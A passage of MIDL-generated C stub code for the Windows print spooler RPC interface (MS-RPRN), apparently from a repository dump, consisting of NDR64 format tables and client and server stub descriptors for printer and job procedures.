Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* pcbNeeded */      /* parameter pcbNeeded */\n        &__midl_frag403,\n        { \n        /* pcbNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* pcReturned */      /* parameter pcReturned */\n        &__midl_frag403,\n        { \n        /* pcReturned */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag403,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag1_t __midl_frag1 =\n(NDR64_UINT32) 0 /* 0x0 */;\n#ifdef __cplusplus\n}\n#endif\n\n\n#include \"poppack.h\"\n\n\nstatic const FormatInfoRef winspool_Ndr64ProcTable[] =\n    {\n    &__midl_frag2,\n    &__midl_frag17,\n    &__midl_frag32,\n    &__midl_frag78,\n    &__midl_frag90,\n    &__midl_frag105,\n    &__midl_frag407,\n    &__midl_frag167,\n    &__midl_frag423,\n    &__midl_frag185,\n    &__midl_frag626,\n    &__midl_frag302,\n    &__midl_frag315,\n    &__midl_frag329,\n    &__midl_frag337,\n    &__midl_frag347,\n    &__midl_frag363,\n    &__midl_frag377,\n    &__midl_frag391,\n    &__midl_frag394,\n    &__midl_frag404,\n    &__midl_frag407,\n    &__midl_frag410,\n    &__midl_frag669,\n    &__midl_frag423,\n    &__midl_frag434,\n    &__midl_frag438,\n    &__midl_frag452,\n    &__midl_frag463,\n    &__midl_frag469,\n    &__midl_frag473,\n    &__midl_frag916,\n    &__midl_frag496,\n    &__midl_frag509,\n    &__midl_frag515,\n    &__midl_frag528,\n    &__midl_frag542,\n    &__midl_frag1051,\n    &__midl_frag1051,\n    &__midl_frag558,\n    &__midl_frag565,\n    &__midl_frag571,\n    &__midl_frag585,\n    &__midl_frag1051,\n    &__midl_frag1051,\n    &__midl_frag1051,\n    &__midl_frag592,\n    &__midl_frag616,\n    &__midl_frag616,\n    &__midl_frag1051,\n    &__midl_frag1051,\n    &__midl_frag626,\n    &__midl_frag642,\n    &__midl_frag648,\n    &__midl_frag668,\n    &__midl_frag668,\n    &__midl_frag669,\n    &__midl_frag1051,\n    &__midl_frag673,\n    &__midl_frag686,\n    &__midl_frag695,\n    &__midl_frag699,\n    &__midl_frag732,\n    &__midl_frag1051,\n    &__midl_frag1051,\n    &__midl_frag747,\n    &__midl_frag766,\n    &__midl_frag775,\n    &__midl_frag1051,\n    &__midl_frag783,\n    &__midl_frag809,\n    &__midl_frag819,\n    &__midl_frag826,\n    &__midl_frag916,\n    &__midl_frag853,\n    &__midl_frag853,\n    &__midl_frag853,\n    &__midl_frag854,\n    &__midl_frag867,\n    &__midl_frag883,\n    &__midl_frag897,\n    &__midl_frag909,\n    &__midl_frag916,\n    &__midl_frag1051,\n    &__midl_frag922,\n    &__midl_frag932,\n    &__midl_frag942,\n    &__midl_frag948,\n    &__midl_frag961,\n    &__midl_frag980,\n    &__midl_frag1051,\n    &__midl_frag1051,\n    &__midl_frag1051,\n    &__midl_frag1051,\n    &__midl_frag1051,\n    &__midl_frag1051,\n    &__midl_frag992,\n    &__midl_frag1003,\n    &__midl_frag1051,\n    &__midl_frag1051,\n    &__midl_frag1051,\n    &__midl_frag1051,\n    &__midl_frag1015,\n    &__midl_frag1051,\n    &__midl_frag1030,\n    &__midl_frag1051,\n    &__midl_frag1051,\n    &__midl_frag1051,\n    &__midl_frag1051,\n    &__midl_frag1051,\n    &__midl_frag1052,\n    &__midl_frag1060,\n    &__midl_frag1065,\n    &__midl_frag1071,\n    &__midl_frag1079,\n    &__midl_frag1083,\n    &__midl_frag1088\n    };\n\n\n#ifdef __cplusplus\nnamespace {\n#endif\nstatic const MIDL_STUB_DESC winspool_StubDesc = \n    {\n    (void *)& winspool___RpcClientInterface,\n    MIDL_user_allocate,\n    MIDL_user_free,\n    &winspool__MIDL_AutoBindHandle,\n    0,\n    BindingRoutines,\n    0,\n    0,\n    ms2Drprn__MIDL_TypeFormatString.Format,\n    1, /* -error bounds_check flag */\n    0x60001, /* Ndr library version */\n    0,\n    0x8010274, /* MIDL Version 8.1.628 */\n    0,\n    0,\n    0,  /* notify & notify_flag routine table */\n    0x2000001, /* MIDL flag */\n    0, /* cs routines */\n    (void *)& winspool_ProxyInfo,   /* proxy/server info */\n    &ms2Drprn_ExprDesc\n    };\n#ifdef __cplusplus\n}\n#endif\n\nstatic const MIDL_SYNTAX_INFO winspool_SyntaxInfo [  2 ] = \n    {\n    {\n    {{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}},\n    0,\n    ms2Drprn__MIDL_ProcFormatString.Format,\n    winspool_FormatStringOffsetTable,\n    ms2Drprn__MIDL_TypeFormatString.Format,\n    0,\n    0,\n    0\n    }\n    ,{\n    {{0x71710533,0xbeba,0x4937,{0x83,0x19,0xb5,0xdb,0xef,0x9c,0xcc,0x36}},{1,0}},\n    0,\n    0 ,\n    (unsigned short *) winspool_Ndr64ProcTable,\n    0,\n    0,\n    0,\n    0\n    }\n    };\n\nstatic const MIDL_STUBLESS_PROXY_INFO winspool_ProxyInfo =\n    {\n    &winspool_StubDesc,\n    ms2Drprn__MIDL_ProcFormatString.Format,\n    winspool_FormatStringOffsetTable,\n    (RPC_SYNTAX_IDENTIFIER*)&_RpcTransferSyntax_2_0,\n    2,\n    (MIDL_SYNTAX_INFO*)winspool_SyntaxInfo\n    \n    };\n\n#if _MSC_VER >= 1200\n#pragma warning(pop)\n#endif\n\n\n#endif /* defined(_M_AMD64)*/\n\n"
  },
  {
    "path": "rpc_interfaces/ms-rprn_s.c",
    "content": "\n\n/* this ALWAYS GENERATED file contains the RPC server stubs */\n\n\n /* File created by MIDL compiler version 8.01.0628 */\n/* at Mon Jan 18 19:14:07 2038\n */\n/* Compiler settings for IDL_FILES\\ms-rprn.idl:\n    Oicf, W1, Zp8, env=Win64 (32b run), target_arch=AMD64 8.01.0628 \n    protocol : all , ms_ext, c_ext, robust\n    error checks: allocation ref bounds_check enum stub_data \n    VC __declspec() decoration level: \n         __declspec(uuid()), __declspec(selectany), __declspec(novtable)\n         DECLSPEC_UUID(), MIDL_INTERFACE()\n*/\n/* @@MIDL_FILE_HEADING(  ) */\n\n#if defined(_M_AMD64)\n\n\n#if _MSC_VER >= 1200\n#pragma warning(push)\n#endif\n\n#pragma warning( disable: 4211 )  /* redefine extern to static */\n#pragma warning( disable: 4232 )  /* dllimport identity*/\n#pragma warning( disable: 4024 )  /* array to pointer mapping*/\n\n#include <string.h>\n#include \"ms-rprn_h.h\"\n\n#define TYPE_FORMAT_STRING_SIZE   2497                              \n#define PROC_FORMAT_STRING_SIZE   6329                              \n#define EXPR_FORMAT_STRING_SIZE   17                                \n#define TRANSMIT_AS_TABLE_SIZE    0            \n#define WIRE_MARSHAL_TABLE_SIZE   0            \n\ntypedef struct _ms2Drprn_MIDL_TYPE_FORMAT_STRING\n    {\n    short          Pad;\n    unsigned char  Format[ TYPE_FORMAT_STRING_SIZE ];\n    } ms2Drprn_MIDL_TYPE_FORMAT_STRING;\n\ntypedef struct _ms2Drprn_MIDL_PROC_FORMAT_STRING\n    {\n    short          Pad;\n    unsigned char  Format[ PROC_FORMAT_STRING_SIZE ];\n    } ms2Drprn_MIDL_PROC_FORMAT_STRING;\n\ntypedef struct _ms2Drprn_MIDL_EXPR_FORMAT_STRING\n    {\n    long          Pad;\n    unsigned char  Format[ EXPR_FORMAT_STRING_SIZE ];\n    } ms2Drprn_MIDL_EXPR_FORMAT_STRING;\n\n\nstatic const RPC_SYNTAX_IDENTIFIER  _RpcTransferSyntax_2_0 = \n{{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}};\n\nstatic const RPC_SYNTAX_IDENTIFIER  _NDR64_RpcTransferSyntax_1_0 = \n{{0x71710533,0xbeba,0x4937,{0x83,0x19,0xb5,0xdb,0xef,0x9c,0xcc,0x36}},{1,0}};\n\n#if defined(_CONTROL_FLOW_GUARD_XFG)\n#define XFG_TRAMPOLINES(ObjectType)\\\nNDR_SHAREABLE unsigned long ObjectType ## _UserSize_XFG(unsigned long * pFlags, unsigned long Offset, void * pObject)\\\n{\\\nreturn  ObjectType ## _UserSize(pFlags, Offset, (ObjectType *)pObject);\\\n}\\\nNDR_SHAREABLE unsigned char * ObjectType ## _UserMarshal_XFG(unsigned long * pFlags, unsigned char * pBuffer, void * pObject)\\\n{\\\nreturn ObjectType ## _UserMarshal(pFlags, pBuffer, (ObjectType *)pObject);\\\n}\\\nNDR_SHAREABLE unsigned char * ObjectType ## _UserUnmarshal_XFG(unsigned long * pFlags, unsigned char * pBuffer, void * pObject)\\\n{\\\nreturn ObjectType ## _UserUnmarshal(pFlags, pBuffer, (ObjectType *)pObject);\\\n}\\\nNDR_SHAREABLE void ObjectType ## _UserFree_XFG(unsigned long * pFlags, void * pObject)\\\n{\\\nObjectType ## _UserFree(pFlags, (ObjectType *)pObject);\\\n}\n#define XFG_TRAMPOLINES64(ObjectType)\\\nNDR_SHAREABLE unsigned long ObjectType ## _UserSize64_XFG(unsigned long * pFlags, unsigned long Offset, void * pObject)\\\n{\\\nreturn  ObjectType ## _UserSize64(pFlags, Offset, (ObjectType *)pObject);\\\n}\\\nNDR_SHAREABLE unsigned char * ObjectType ## _UserMarshal64_XFG(unsigned long * pFlags, unsigned char * pBuffer, void * pObject)\\\n{\\\nreturn ObjectType ## _UserMarshal64(pFlags, pBuffer, (ObjectType *)pObject);\\\n}\\\nNDR_SHAREABLE unsigned char * ObjectType ## _UserUnmarshal64_XFG(unsigned long * pFlags, unsigned char * pBuffer, void * pObject)\\\n{\\\nreturn ObjectType ## _UserUnmarshal64(pFlags, pBuffer, (ObjectType *)pObject);\\\n}\\\nNDR_SHAREABLE void ObjectType ## _UserFree64_XFG(unsigned long * pFlags, void * pObject)\\\n{\\\nObjectType ## _UserFree64(pFlags, (ObjectType *)pObject);\\\n}\n#define XFG_BIND_TRAMPOLINES(HandleType, ObjectType)\\\nstatic void* ObjectType ## _bind_XFG(HandleType pObject)\\\n{\\\nreturn ObjectType ## _bind((ObjectType) pObject);\\\n}\\\nstatic void ObjectType ## _unbind_XFG(HandleType pObject, handle_t ServerHandle)\\\n{\\\nObjectType ## _unbind((ObjectType) pObject, ServerHandle);\\\n}\n#define XFG_TRAMPOLINE_FPTR(Function) Function ## _XFG\n#define XFG_TRAMPOLINE_FPTR_DEPENDENT_SYMBOL(Symbol) Symbol ## _XFG\n#else\n#define XFG_TRAMPOLINES(ObjectType)\n#define XFG_TRAMPOLINES64(ObjectType)\n#define XFG_BIND_TRAMPOLINES(HandleType, ObjectType)\n#define XFG_TRAMPOLINE_FPTR(Function) Function\n#define XFG_TRAMPOLINE_FPTR_DEPENDENT_SYMBOL(Symbol) Symbol\n#endif\n\n\nextern const ms2Drprn_MIDL_TYPE_FORMAT_STRING ms2Drprn__MIDL_TypeFormatString;\nextern const ms2Drprn_MIDL_PROC_FORMAT_STRING ms2Drprn__MIDL_ProcFormatString;\nextern const ms2Drprn_MIDL_EXPR_FORMAT_STRING ms2Drprn__MIDL_ExprFormatString;\n\n/* Standard interface: winspool, ver. 1.0,\n   GUID={0x12345678,0x1234,0xabcd,{0xef,0x00,0x01,0x23,0x45,0x67,0x89,0xab}} */\n\n\nextern const MIDL_SERVER_INFO winspool_ServerInfo;\n\nextern const RPC_DISPATCH_TABLE winspool_v1_0_DispatchTable;\n\nstatic const RPC_SERVER_INTERFACE winspool___RpcServerInterface =\n    {\n    sizeof(RPC_SERVER_INTERFACE),\n    {{0x12345678,0x1234,0xabcd,{0xef,0x00,0x01,0x23,0x45,0x67,0x89,0xab}},{1,0}},\n    {{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}},\n    (RPC_DISPATCH_TABLE*)&winspool_v1_0_DispatchTable,\n    0,\n    0,\n    0,\n    &winspool_ServerInfo,\n    0x06000000\n    };\nRPC_IF_HANDLE winspool_v1_0_s_ifspec = (RPC_IF_HANDLE)& winspool___RpcServerInterface;\n#ifdef __cplusplus\nnamespace {\n#endif\n\nextern const MIDL_STUB_DESC winspool_StubDesc;\n#ifdef __cplusplus\n}\n#endif\n\nextern const NDR_RUNDOWN RundownRoutines[];\n\n#if !defined(__RPC_WIN64__)\n#error  Invalid build platform for this stub.\n#endif\n\nstatic const ms2Drprn_MIDL_PROC_FORMAT_STRING ms2Drprn__MIDL_ProcFormatString =\n    {\n        0,\n        {\n\n\t/* Procedure RpcEnumPrinters */\n\n\t\t\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/*  2 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/*  6 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/*  8 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 10 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 12 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 14 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 16 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 18 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 20 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x8,\t\t/* 8 */\n/* 22 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 24 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 26 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 28 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 30 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter Flags */\n\n/* 32 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 34 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 36 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter Name */\n\n/* 38 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 40 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 42 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Level */\n\n/* 44 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 46 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 48 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pPrinterEnum */\n\n/* 50 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 52 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 54 */\tNdrFcShort( 0x6 ),\t/* Type Offset=6 */\n\n\t/* Parameter cbBuf */\n\n/* 56 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 58 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 60 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 62 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 64 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 66 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcReturned */\n\n/* 68 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 70 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 72 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 74 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 76 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 78 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcOpenPrinter */\n\n/* 80 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 82 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 86 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 88 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 90 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 92 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 94 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 96 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 98 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 100 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 102 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 104 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 106 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 108 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 110 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pPrinterName */\n\n/* 112 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 114 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 116 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pHandle */\n\n/* 118 */\tNdrFcShort( 0x110 ),\t/* Flags:  out, simple ref, */\n/* 120 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 122 */\tNdrFcShort( 0x28 ),\t/* Type Offset=40 */\n\n\t/* Parameter pDatatype */\n\n/* 124 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 126 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 128 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pDevModeContainer */\n\n/* 130 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 132 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 134 */\tNdrFcShort( 0x46 ),\t/* Type Offset=70 */\n\n\t/* Parameter AccessRequired */\n\n/* 136 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 138 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 140 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 142 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 144 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 146 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcSetJob */\n\n/* 148 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 150 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 154 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 156 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 158 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 160 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 162 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 164 */\tNdrFcShort( 0x34 ),\t/* 52 */\n/* 166 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 168 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 170 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 172 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 174 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 176 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 178 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 180 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 182 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 184 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter JobId */\n\n/* 186 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 188 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 190 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pJobContainer */\n\n/* 192 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 194 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 196 */\tNdrFcShort( 0x5a ),\t/* Type Offset=90 */\n\n\t/* Parameter Command */\n\n/* 198 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 200 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 202 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 204 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 206 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 208 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcGetJob */\n\n/* 210 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 212 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 216 */\tNdrFcShort( 0x3 ),\t/* 3 */\n/* 218 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 220 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 222 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 224 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 226 */\tNdrFcShort( 0x3c ),\t/* 60 */\n/* 228 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 230 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 232 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 234 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 236 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 238 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 240 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 242 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 244 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 246 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter JobId */\n\n/* 248 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 250 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 252 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter Level */\n\n/* 254 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 256 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 258 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pJob */\n\n/* 260 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 262 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 264 */\tNdrFcShort( 0x6 ),\t/* Type Offset=6 */\n\n\t/* Parameter cbBuf */\n\n/* 266 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 268 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 270 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 272 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 274 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 276 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 278 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 280 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 282 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcEnumJobs */\n\n/* 284 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 286 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 290 */\tNdrFcShort( 0x4 ),\t/* 4 */\n/* 292 */\tNdrFcShort( 0x48 ),\t/* X64 Stack size/offset = 72 */\n/* 294 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 296 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 298 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 300 */\tNdrFcShort( 0x44 ),\t/* 68 */\n/* 302 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 304 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x9,\t\t/* 9 */\n/* 306 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 308 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 310 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 312 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 314 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 316 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 318 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 320 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter FirstJob */\n\n/* 322 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 324 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 326 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter NoJobs */\n\n/* 328 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 330 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 332 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter Level */\n\n/* 334 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 336 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 338 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pJob */\n\n/* 340 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 342 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 344 */\tNdrFcShort( 0x196 ),\t/* Type Offset=406 */\n\n\t/* Parameter cbBuf */\n\n/* 346 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 348 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 350 */\t0x8,\t\t/* 